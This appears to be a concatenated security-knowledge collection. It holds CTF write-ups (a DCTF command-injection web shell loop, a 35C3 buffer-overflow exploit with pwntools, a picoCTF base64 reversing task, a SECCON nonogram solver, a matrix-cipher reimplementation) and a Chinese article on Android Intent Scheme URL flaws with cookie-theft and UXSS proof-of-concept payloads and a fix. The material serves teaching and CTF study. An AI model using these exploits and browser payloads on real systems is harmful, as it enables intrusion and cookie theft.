- [聊聊分布式事务,再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
|
sec-knowleage
|
# Simple notes (web, 50p, 16 solved)
In the challenge we get access to some simple webapp, where each user gets his own sandbox and then we can theoretically upload `small files`, and there are some options to list our files.
If we look closely, the listing feature actually includes `cmd` GET parameter, which contains base64 encoded shell command.
This means we can do:
```python
import requests
def main():
token = "HlGQedjDN9z4rFF2l2wUrpf551q2wjDI6mBXDwue"
while True:
url = "https://simple-notes.dctf-final.def.camp/router.php?token=" + token + "&cmd="
payload = input(">")
r = requests.get(url + payload.encode("base64"))
print(r.text)
main()
```
To get a sort-off reverse shell.
There was a pretty strict whitelist of allowed characters, but since `ls -la *` was the "standard" command, you had at least those characters.
The idea was to figure out that you can upload only 1 byte-long files, and get RCE by sending `*` in a directory with a bunch of files with names which would combine into a shell command.
However, this was visible for other teams, and also a bit problematic, so we came up with an easier idea -> use shell wildcards to reach files we want.
First we listed all files via `ls -la /*/*` and found the flag location.
Then we created payload `/*a*/www/**/**/*.p*` to reach the flag file in `/var/www/html/flag/flag.php` and tried to reach some binary which could print the flag for us.
It took a moment, because with limited charset it's hard to reach the one particular binary you want, and most classic options like `cat` were not doable.
Finally we found that calling `awk 4 filename` will do the trick and we could get this one via `/*s*/*/aw* 4 /*a*/www/**/**/*.p*` and read the flag `DCTF{06246a82f83ee63876087293874010cde73a269d8d227605d50d238850faca0c}`
|
sec-knowleage
|
import requests
from bs4 import BeautifulSoup
from pwn import *
from PIL import Image, ImageDraw
import re
import qrtools
session = requests.Session()
def get_image(answer):
source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/', data={'ans': answer}).content
soup = BeautifulSoup(source)
#print source
print re.findall('Stage: (\d+) / 30', source)
def parse(cls):
return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)]
rows = parse('rows')
cols = parse('cols')
solver = process('nonogram-0.9/nonogram')
solver.sendline("%d %d" % (len(cols), len(rows)))
for row in rows:
solver.sendline(' '.join(row))
for col in cols:
solver.sendline(' '.join(col))
solver.shutdown()
qr_text = []
for i in range(0, len(rows)):
solver.recvuntil('|')
qr_text.append(solver.recvuntil('|')[:-1])
#print qr_text
size = 20
image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))
draw = ImageDraw.Draw(image)
text = ''
#print len(qr_text)
#print len(qr_text[0])
for i in range(0, len(qr_text)):
for j in range(0, len(qr_text[0]) / 2):
text += qr_text[i][j * 2]
pos = ((j * size, i * size), (j * size + size, i * size + size))
draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white')
text += '\n'
#print text
image.save('qrcode.png')
def get_qrcode():
qr = qrtools.QR()
qr.decode('qrcode.png')
return qr.data
answer = ''
for i in range(0, 100):
get_image(answer)
answer = get_qrcode()
print answer
|
sec-knowleage
|
# Radix's Terminal
Reversing, 400 points
## Description:
> Can you find the password to Radix's login?
A binary file was attached.
## Solution:
Let's run the program and inspect the output:
```console
root@kali:/media/sf_CTFs/pico/Radixs_Terminal# ./radix
Please provide a password!
root@kali:/media/sf_CTFs/pico/Radixs_Terminal# ./radix password
Incorrect Password!
```
We need to provide a password.
`ltrace` can give us some insights about the logic executed by the program:
```
root@kali:/media/sf_CTFs/pico/Radixs_Terminal# ltrace ./radix password
__libc_start_main(0x8048737, 2, 0xffcd60b4, 0x80487d0 <unfinished ...>
setvbuf(0xf7f7bd80, 0, 2, 0) = 0
strlen("password") = 8
strncmp("cGFzc3dvcmQ=\302", "cGljb0NURntiQXNFXzY0X2VOQ29EaU5n"..., 12) = -1
puts("Incorrect Password!"Incorrect Password!
) = 20
+++ exited (status 255) +++
```
So it compares `cGFzc3dvcmQ=` with `cGljb0NURntiQXNFXzY0X2VOQ29EaU5n...`. `cGFzc3dvcmQ=` is simply our argument, decoded as base64:
```console
# echo "cGFzc3dvcmQ=" | base64 -d && echo
password
```
We need to find the string that our input is being compared to. Running `strings` on the binary provides too many result, but if we just search for string of length 30+, we get:
```console
root@kali:/media/sf_CTFs/pico/Radixs_Terminal# strings radix | grep -x '.\{30,\}'
cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9
Congrats, now where's my flag?
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609
__do_global_dtors_aux_fini_array_entry
__frame_dummy_init_array_entry
```
The first result is what we're looking for. Let's decode it:
```console
root@kali:/media/sf_CTFs/pico/Radixs_Terminal# echo "cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfNzU3NDAyNTF9" | base64 -d && echo
picoCTF{bAsE_64_eNCoDiNg_iS_EAsY_75740251}
```
The flag: picoCTF{bAsE_64_eNCoDiNg_iS_EAsY_75740251}
|
sec-knowleage
|
# poet
PWN
## Description:
> We are looking for the poet of the year
A binary file was attached.
## Solution:
Let's see what the program does:
```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# ./poet
**********************************************************
* We are searching for the poet of the year 2018. *
* Submit your one line poem now to win an amazing prize! *
**********************************************************
Enter the poem here:
> Roses are red, my screen is blue
Who is the author of this poem?
> MS
+---------------------------------------------------------------------------+
THE POEM
Roses are red, my screen is blue
SCORED 0 POINTS.
SORRY, THIS POEM IS JUST NOT GOOD ENOUGH.
YOU MUST SCORE EXACTLY 1000000 POINTS.
TRY AGAIN!
+---------------------------------------------------------------------------+
```
So we can enter a poem and an author, and we get graded for the poem.
Let's check the disassembly:
```
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# r2 ./poet
-- The door can see into your soul.
[0x00400680]> aa
[WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382)
WARNING: r_bin_get_vaddr: assertion 'bin && paddr != UT64_MAX' failed (line 1382)
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x00400680]> afl
0x004005c8 3 23 sym._init
0x004005f0 1 6 sym.imp.strcpy
0x00400600 1 6 sym.imp.puts
0x00400610 1 6 sym.imp.printf
0x00400620 1 6 sym.imp.fgets
0x00400630 1 6 sym.imp.gets
0x00400640 1 6 sym.imp.setvbuf
0x00400650 1 6 sym.imp.fopen
0x00400660 1 6 sym.imp.strtok
0x00400670 1 6 sym.imp.exit
0x00400680 1 43 entry0
0x004006b0 1 2 sym._dl_relocate_static_pie
0x004006c0 4 42 -> 37 sym.deregister_tm_clones
0x004006f0 4 58 -> 55 sym.register_tm_clones
0x00400730 3 34 -> 29 sym.__do_global_dtors_aux
0x00400760 1 7 entry1.init
0x00400767 1 80 sym.reward
0x004007b7 14 382 sym.rate_poem
0x00400935 1 48 sym.get_poem
0x00400965 1 38 sym.get_author
0x0040098b 6 218 -> 209 main
0x00400a00 3 101 -> 92 sym.__libc_csu_init
0x00400a70 1 2 sym.__libc_csu_fini
0x00400a74 1 9 sym._fini
```
`reward` sounds interesting:
```assembly
[0x00400680]> s sym.reward
[0x00400767]> pdf
/ (fcn) sym.reward 80
| sym.reward ();
| ; CALL XREF from main (0x4009f7)
| 0x00400767 53 push rbx
| 0x00400768 4883c480 add rsp, 0xffffffffffffff80
| 0x0040076c 488d35110300. lea rsi, [0x00400a84] ; "r"
| 0x00400773 488d3d0c0300. lea rdi, str.._flag.txt ; 0x400a86 ; "./flag.txt"
| 0x0040077a e8d1feffff call sym.imp.fopen ; file*fopen(const char *filename, const char *mode)
| 0x0040077f 4889e3 mov rbx, rsp
| 0x00400782 4889c2 mov rdx, rax
| 0x00400785 be80000000 mov esi, 0x80 ; 128
| 0x0040078a 4889df mov rdi, rbx
| 0x0040078d e88efeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400792 4889da mov rdx, rbx
| 0x00400795 488d35041d20. lea rsi, [0x006024a0]
| 0x0040079c 488d3d350300. lea rdi, str.CONGRATULATIONS____THE_POET___.64s____RECEIVES_THE_AWARD_FOR_POET_OF_THE_YEAR_2018_____THE_PRIZE_IS_THE_FOLLOWING_FLAG:___s ; 0x400ad8
| 0x004007a3 b800000000 mov eax, 0
| 0x004007a8 e863feffff call sym.imp.printf ; int printf(const char *format)
| 0x004007ad bf00000000 mov edi, 0
\ 0x004007b2 e8b9feffff call sym.imp.exit ; void exit(int status)
```
So this is definitely where we want to get to, how does the flow take us there?
```assembly
[0x00400767]> axt @ sym.reward
main 0x4009f7 [CALL] call sym.reward
[0x00400767]> pdf @ main
/ (fcn) main 209
| main (int argc, char **argv, char **envp);
| ; DATA XREF from entry0 (0x40069d)
| 0x0040098b 53 push rbx
| 0x0040098c b900000000 mov ecx, 0
| 0x00400991 ba02000000 mov edx, 2
| 0x00400996 be00000000 mov esi, 0
| 0x0040099b 488b3dde1620. mov rdi, qword [obj.stdout__GLIBC_2.2.5] ; [0x602080:8]=0
| 0x004009a2 e899fcffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x004009a7 488d3d920200. lea rdi, str.We_are_searching_for_the_poet_of_the_year_2018._____________Submit_your_one_line_poem_now_to_win_an_amazing_prize ; 0x400c40 ; "\n**********************************************************\n* We are searching for the poet of the year 2018. *\n* Submit your one line poem now to win an amazing prize! *\n**********************************************************\n"
| 0x004009ae e84dfcffff call sym.imp.puts ; int puts(const char *s)
| 0x004009b3 488d1de61620. lea rbx, obj.poem ; 0x6020a0
| ; CODE XREF from main (0x4009f0)
| .-> 0x004009ba b800000000 mov eax, 0
| : 0x004009bf e871ffffff call sym.get_poem
| : 0x004009c4 b800000000 mov eax, 0
| : 0x004009c9 e897ffffff call sym.get_author
| : 0x004009ce b800000000 mov eax, 0
| : 0x004009d3 e8dffdffff call sym.rate_poem
| : 0x004009d8 81bb40040000. cmp dword [rbx + 0x440], 0xf4240 ; [0x440:4]=-1 ; 1000000
| ,==< 0x004009e2 740e je 0x4009f2
| |: 0x004009e4 488d3d450300. lea rdi, str.SORRY__THIS_POEM_IS_JUST_NOT_GOOD_ENOUGH.__YOU_MUST_SCORE_EXACTLY_1000000_POINTS.__TRY_AGAIN ; 0x400d30 ; "\nSORRY, THIS POEM IS JUST NOT GOOD ENOUGH.\nYOU MUST SCORE EXACTLY 1000000 POINTS.\nTRY AGAIN!\n+---------------------------------------------------------------------------+\n"
| |: 0x004009eb e810fcffff call sym.imp.puts ; int puts(const char *s)
| |`=< 0x004009f0 ebc8 jmp 0x4009ba
| `--> 0x004009f2 b800000000 mov eax, 0
| 0x004009f7 e86bfdffff call sym.reward
| 0x004009fc 0f1f4000 nop dword [rax]
```
So the flow is pretty simple - read the poem from the user, then read the author name, then rate the poem and if the score is exactly 0xf4240 (1000000) points - we get the flag.
Let's dive into the implementation:
```assembly
[0x00400767]> s sym.get_poem
[0x00400935]> pdf
/ (fcn) sym.get_poem 48
| sym.get_poem ();
| ; CALL XREF from main (0x4009bf)
| 0x00400935 4883ec08 sub rsp, 8
| 0x00400939 488d3d7b0100. lea rdi, str.Enter_the_poem_here: ; 0x400abb ; "Enter the poem here:\n> "
| 0x00400940 b800000000 mov eax, 0
| 0x00400945 e8c6fcffff call sym.imp.printf ; int printf(const char *format)
| 0x0040094a 488d3d4f1720. lea rdi, obj.poem ; 0x6020a0
| 0x00400951 e8dafcffff call sym.imp.gets ; char *gets(char *s)
| 0x00400956 c705801b2000. mov dword [0x006024e0], 0 ; [0x6024e0:4]=0
| 0x00400960 4883c408 add rsp, 8
\ 0x00400964 c3 ret
```
So `get_poem` has a buffer overflow, since the user called `gets(poem)` without checking boundaries.
Same story for `get_author` - we can overflow it as well:
```assembly
[0x00400935]> s sym.get_author
[0x00400965]> pdf
/ (fcn) sym.get_author 38
| sym.get_author ();
| ; CALL XREF from main (0x4009c9)
| 0x00400965 4883ec08 sub rsp, 8
| 0x00400969 488d3da80200. lea rdi, str.Who_is_the_author_of_this_poem ; 0x400c18 ; "Who is the author of this poem?\n> "
| 0x00400970 b800000000 mov eax, 0
| 0x00400975 e896fcffff call sym.imp.printf ; int printf(const char *format)
| 0x0040097a 488d3d1f1b20. lea rdi, [0x006024a0]
| 0x00400981 e8aafcffff call sym.imp.gets ; char *gets(char *s)
| 0x00400986 4883c408 add rsp, 8
\ 0x0040098a c3 ret
```
Note that `obj.poem` is at address 0x6020a0, and the author buffer is at address 0x006024a0.
Radare2 marks `obj.poem` as a buffer of length 1092, which means 0x6020a0 until 0x6024e4:
```
[0x00400965]> is~poem
050 0x000007b7 0x004007b7 GLOBAL FUNC 382 rate_poem
070 0x00000935 0x00400935 GLOBAL FUNC 48 get_poem
071 ---------- 0x006020a0 GLOBAL OBJ 1092 poem
```
So this means that the author buffer is **within** what Radare marked as the poem buffer. And if we look closely, the rating variable (0x6020a0 + 0x440) is right after the author buffer.
```
+-------------+ 0x6020a0
| actual poem | <---------- Length: 1024
+-------------+ 0x6024a0
| author | <---------- Length: 64
+-------------+ 0x6024e0
| rating | <---------- Length: 4
+-------------+ 0x6024e4
```
This means that we can overflow `rating` both via the poem and via the author. However, won't `rate_poem` overwrite our value?
Inspecting `rate_poem` revealed that as long as we avoid a few key words such as "eat", "sleep", "pwn" and "repeat", our rating is safe and will not be updated.
A one-liner to do this:
```
{ python -c "print 'A'*10"; python -c "print 'B'*64 + '\x40\x42\x0f\x00\x00\x00\x00\x00'";} | nc 35.207.132.47 22223
```
Or, with a pwntools script:
```python
from pwn import *
import argparse
import os
LOCAL_PATH = "./poet"
def get_process(is_remote = False):
if is_remote:
return remote("35.207.132.47", 22223)
else:
return process(LOCAL_PATH)
def send_payload(proc, payload):
proc.sendlineafter("Enter the poem here:\n>", "A")
proc.sendlineafter("Who is the author of this poem?\n>", payload)
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
p = get_process(args.remote)
payload = fit({64: p64(0x0F4240)})
send_payload(p, payload)
print p.recvall()
```
The output:
```console
root@kali:/media/sf_CTFs/35c3ctf/poet/poet# python exploit3.py -r
[+] Opening connection to 35.207.132.47 on port 22223: Done
[+] Receiving all data: Done (413B)
[*] Closed connection to 35.207.132.47 port 22223
+---------------------------------------------------------------------------+
THE POEM
A
SCORED 1000000 POINTS.
CONGRATULATIONS
THE POET
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa
RECEIVES THE AWARD FOR POET OF THE YEAR 2018!
THE PRIZE IS THE FOLLOWING FLAG:
35C3_f08b903f48608a14cbfbf73c08d7bdd731a87d39
+---------------------------------------------------------------------------+
```
The flag: 35C3_f08b903f48608a14cbfbf73c08d7bdd731a87d39
|
sec-knowleage
|
## Intent Scheme URL 漏洞
> YAQ御安全 发布于 2016-12-09
### 漏洞描述
如果浏览器支持Intent Scheme Uri语法,但对 intent 过滤不当,那么恶意用户可能通过浏览器js代码进行一些恶意行为,比如盗取cookie等。
### 影响范围
过滤不严的 browser
### 漏洞详情
#### 漏洞位置
browser 通过 Intent.parseUri 来解析 uri。
```java
Intent.parseUri()
```
通过Context.startActivityIfNeeded或者Context.startActivity发送intent
```java
startActivity()
```
#### 漏洞触发条件
1. 通过 Intent.parseUri() 解析网站传递的 uri。
- 对应到smali中的特征:Landroid/content/Intent;->parseUri
- 缺失过滤规则
```java
Intent.addCategory("android.intent.category.BROWSABLE")
Intent.setComponent(null)
Intent.setSelector(null)
```
#### 漏洞原理
如果浏览器支持Intent Scheme URI语法,一般会分三个步骤进行处理:
1. 利用Intent.parseUri解析uri,获取原始的intent对象;
2. 对intent对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍;
3. 通过Context.startActivityIfNeeded或者Context.startActivity发送intent;
其中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。
### poc/exp
#### 例子1 Opera mobile之cookie盗取
Opera上的intent过滤策略是完全缺失的,因此我们可以轻易调用Opera上的私有activity。比如下面这个攻击示例:
```html
<script>
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>
```
通过上面的脚本,我们可以直接调起AdMarvelActivity。AdMarvelActvity会从intent中获取url,并以HTML/JavaScript的方式解析cookies文件。
试想一下,如果我们预先构造一个恶意网站,并让用户通过浏览器访问。这时在恶意界面中,存在如下脚本:
```html
<script>
document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;
location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
</script>
```
当AdMarvelActivity解析cookies文件时,就会执行playload。
#### 例子2 Chrome之UXSS
Chrome的UXSS漏洞利用相对复杂。介绍之前,我们需要先了解一下关于Intent Selector的用法,Intent Selector机制提供一种main intent不匹配的情况下可以设置替补的方案。比如A是main intent, B是A的selector intent,当startActiviy时,系统发现A无法匹配则会尝试用B去匹配。
Chrome相比于Opera,在intent过滤的步骤中添加了安全策略,代码如下:
```java
Intent intent = Intent.parseUri(uri);
intent.addCategory(“android.intent.category.BROWSABLE”);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);
```
从代码中,可以看到Chrome为了防御Intent Based攻击,做了不少限制,比如把category强置为”android.intent.category.BROWSABLE”,把component强置为null,相对之后比Opera强多了。然而,Chrome忽略了Intent Selector的用法,比如下面的用法:
> intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end
留意其中的关键字“SEL”,其实就是设置了一个component为com.android.chrome/.xyz的 selector intent,这种用法导致chrome的防御措施形同虚设。最后看一下Chrome UXSS的PoC:
```html
<script>
//通过WebAppActivity0我们先打开一个攻击的站点
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// 停留2s或者更长时间, 然后注入javascript payload
setTimeout(function() {
location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
}, 2000);
</script>
```
这里的关键点是WebappActivity0对new intent的处理方式上。
第一次打开站点,并完成加载。第二次则是直接把javascript payload注入到目标网页。这个漏洞存在于在所有低于v.30.0.1599.92的chrome版本,而新版本修改WebappActivity对new intent的处理方式,会创建new tab,这样就避免了javascript inject。
然而在新版中,依然没有屏避intent selector的使用,因此依然存在Chrome的私有组件和文件被读取的安全隐患。
### 漏洞修复建议
加入对 intent 的安全过滤:
```java
// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
```
|
sec-knowleage
|
import random
import struct
import sys
from typing import List
# for (j = 0LL; j != 64; j += 8LL)
# {
# v736[j + 0] = (((((((v735[j] * pubkey_part[128] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[136]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[144]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[152]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[160]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[168]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[176]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[184]) % 0xFFFFFFFB;
# v736[j + 1] = (((((((v735[j] * pubkey_part[129] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[137]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[145]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[153]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[161]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[169]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[177]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[185]) % 0xFFFFFFFB;
# v736[j + 2] = (((((((v735[j] * pubkey_part[130] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[138]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[146]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[154]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[162]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[170]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[178]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[186]) % 0xFFFFFFFB;
# v736[j + 3] = (((((((v735[j] * pubkey_part[131] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[139]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[147]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[155]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[163]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[171]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[179]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[187]) % 0xFFFFFFFB;
# v736[j + 4] = (((((((v735[j] * pubkey_part[132] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[140]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[148]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[156]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[164]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[172]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[180]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[188]) % 0xFFFFFFFB;
# v736[j + 5] = (((((((v735[j] * pubkey_part[133] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[141]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[149]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[157]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[165]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[173]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[181]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[189]) % 0xFFFFFFFB;
# v736[j + 6] = (((((((v735[j] * pubkey_part[134] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[142]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[150]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[158]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[166]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[174]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[182]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[190]) % 0xFFFFFFFB;
# v736[j + 7] = (((((((v735[j] * pubkey_part[135] % 0xFFFFFFFB + v735[j + 1] * pubkey_part[143]) % 0xFFFFFFFB + v735[j + 2] * pubkey_part[151]) % 0xFFFFFFFB + v735[j + 3] * pubkey_part[159]) % 0xFFFFFFFB + v735[j + 4] * pubkey_part[167]) % 0xFFFFFFFB + v735[j + 5] * pubkey_part[175]) % 0xFFFFFFFB + v735[j + 6] * pubkey_part[183]) % 0xFFFFFFFB + v735[j + 7] * pubkey_part[191]) % 0xFFFFFFFB;
# }
def matrix_mult(data: List[int], key: List[int]) -> List[int]:
result = []
for j in range(8):
for i in range(8):
val = 0
for k in range(8):
val = (val + (data[j * 8 + k] * key[k * 8 + i])) % 0xFFFFFFFB
result.append(val)
return result
# for (k = 0LL; k != 64; k += 8LL)
# {
# v735[k + 128] = (v735[k + 192] + v736[k + 0]) % 0xFFFFFFFB;
# v735[k + 129] = (v735[k + 193] + v736[k + 1]) % 0xFFFFFFFB;
# v735[k + 130] = (v735[k + 194] + v736[k + 2]) % 0xFFFFFFFB;
# v735[k + 131] = (v735[k + 195] + v736[k + 3]) % 0xFFFFFFFB;
# v735[k + 132] = (v735[k + 196] + v736[k + 4]) % 0xFFFFFFFB;
# v735[k + 133] = (v735[k + 197] + v736[k + 5]) % 0xFFFFFFFB;
# v735[k + 134] = (v735[k + 198] + v736[k + 6]) % 0xFFFFFFFB;
# v735[k + 135] = (v735[k + 199] + v736[k + 7]) % 0xFFFFFFFB;
# }
def add_rows(fst: List[int], snd: List[int]) -> List[int]:
result = []
for i in range(64):
result.append((fst[i] + snd[i]) % 0xFFFFFFFB)
return result
def sub_rows(fst: List[int], snd: List[int]) -> List[int]:
result = []
for i in range(64):
result.append((fst[i] - snd[i]) % 0xFFFFFFFB)
return result
# for (m = 0LL; m != 64; m += 8LL)
# {
# v737[m + 0] = v736[((m + 0) & 7) + 8LL * ((m + 0) >> 3)];
# v737[m + 1] = v736[((m + 1) & 7) + 8LL * ((m + 1) >> 3)];
# v737[m + 2] = v736[((m + 2) & 7) + 8LL * ((m + 2) >> 3)];
# v737[m + 3] = v736[((m + 3) & 7) + 8LL * ((m + 3) >> 3)];
# v737[m + 4] = v736[((m + 4) & 7) + 8LL * ((m + 4) >> 3)];
# v737[m + 5] = v736[((m + 5) & 7) + 8LL * ((m + 5) >> 3)];
# v737[m + 6] = v736[((m + 6) & 7) + 8LL * ((m + 6) >> 3)];
# v737[m + 7] = v736[((m + 7) & 7) + 8LL * ((m + 7) >> 3)];
# }
def transpose(data: List[int]) -> List[int]:
result = []
for i in range(64):
result.append(data[(i & 7) + 8 * (i >> 3)])
return result
def chunks(data: bytes, n: int) -> List[bytes]:
return [data[i * n:(i + 1) * n] for i in range(len(data) // n)]
def uint32(val: bytes) -> int:
return struct.unpack('<I', val)[0]
def puint32(val: bytes) -> int:
return struct.pack('<I', val)
def get_random_vectors() -> List[int]:
return [random.randint(0, 0xFFFFFFFB - 1) for i in range(64)]
def parse_vectors(data: bytes) -> List[int]:
assert len(data) == 256
result = []
for chunk in chunks(data, 4):
result.append(uint32(chunk))
return result
def serialise_vectors8(vectors: List[int]) -> bytes:
assert len(vectors) == 64
out = b''
for vec in vectors:
out += bytes([vec])
return out
def serialise_vectors32(vectors: List[int]) -> bytes:
assert len(vectors) == 64
out = b''
for vec in vectors:
out += puint32(vec)
return out
def deserialise_vectors8(raw_vectors: bytes) -> List[int]:
assert len(raw_vectors) == 64
result = []
for vec in raw_vectors:
result.append(vec)
return result
def negate(vectors: List[int]) -> List[int]:
return [(-v) % 0xFFFFFFFB for v in vectors]
def decrypt(ct_file: str, pk_file: str, result_file: str) -> None:
with open(ct_file, 'rb') as ctf:
ct = ctf.read()
data0 = parse_vectors(ct[0:256])
data1 = parse_vectors(ct[256:512])
data2 = parse_vectors(ct[512:768])
print("stage0", data0)
print("stage1", data1)
print("combined", data2)
with open(pk_file, 'rb') as pkf:
pk = pkf.read()
privkey = parse_vectors(pk)
tarnacja1 = matrix_mult(privkey, privkey)
tarnacja2 = matrix_mult(data0, tarnacja1)
tarnacja3 = matrix_mult(data1, privkey)
tarnacja4 = add_rows(tarnacja2, tarnacja3)
tarnacja5 = add_rows(data2, tarnacja4)
result = transpose(tarnacja5)
rawdata = serialise_vectors8(result)
with open(result_file, 'wb') as outf:
outf.write(rawdata)
def encrypt(pt_file: str, pk_file: str, result_file: str) -> None:
with open(pt_file, 'rb') as ctf:
pt = ctf.read()
pt = (pt + b'\x00' * (0x40 - len(pt)))[:0x40]
pt = deserialise_vectors8(pt)
with open(pk_file, 'rb') as pkf:
pk = pkf.read()
pk0 = parse_vectors(pk[0:256])
pk1 = parse_vectors(pk[256:512])
pk2 = parse_vectors(pk[512:768])
seed = get_random_vectors()
stage0 = matrix_mult(seed, pk0)
stage1 = matrix_mult(seed, pk1)
stage2 = matrix_mult(seed, pk2)
combined = add_rows(stage2, pt)
print('pt =', pt)
print('seed =', seed)
print('stage0 =', stage0)
print('pk0 =', pk0)
print('pk1 =', pk1)
print('pk2 =', pk2)
print('stage1 =', stage1)
print('stage2 =', stage2)
print('combined =', combined)
result = b''
result += serialise_vectors32(stage0)
result += serialise_vectors32(stage1)
result += serialise_vectors32(combined)
with open(result_file, 'wb') as outf:
outf.write(result)
def gen_keys(pub_file: str, priv_file: str) -> None:
pk0 = get_random_vectors() # pubkey_part[0..64]
pk1 = get_random_vectors() # pubkey_part[64..128]
for i in range(4):
r0 = random.randint(0, 0xFFFFFFFB - 1)
r1 = random.randint(0, 0xFFFFFFFB - 1)
for j in range(8):
pk0[32 + i * 8 + j] = (pk0[32 + i * 8 + j] + r0 * pk0[i * 8 + j]) % 0xFFFFFFFB
pk1[32 + i * 8 + j] = (pk1[32 + i * 8 + j] + r1 * pk1[i * 8 + j]) % 0xFFFFFFFB
privkey = get_random_vectors() # private_key[0..64]
priv_square = matrix_mult(privkey, privkey) # v735[0..64]
pk0_mult2 = matrix_mult(negate(pk0), priv_square) # v735[192..256]
pk1_mult = matrix_mult(negate(pk1), privkey) # v735[192..256]
pk2 = add_rows(pk0_mult2, pk1_mult)
with open(pub_file, 'wb') as outf:
pub_result = b''
pub_result += serialise_vectors32(pk0)
pub_result += serialise_vectors32(pk1)
pub_result += serialise_vectors32(pk2)
outf.write(pub_result)
with open(priv_file, 'wb') as outf:
priv_result = serialise_vectors32(privkey)
outf.write(priv_result)
def main():
if sys.argv[1] == 'encrypt':
encrypt(sys.argv[2], sys.argv[3], sys.argv[4])
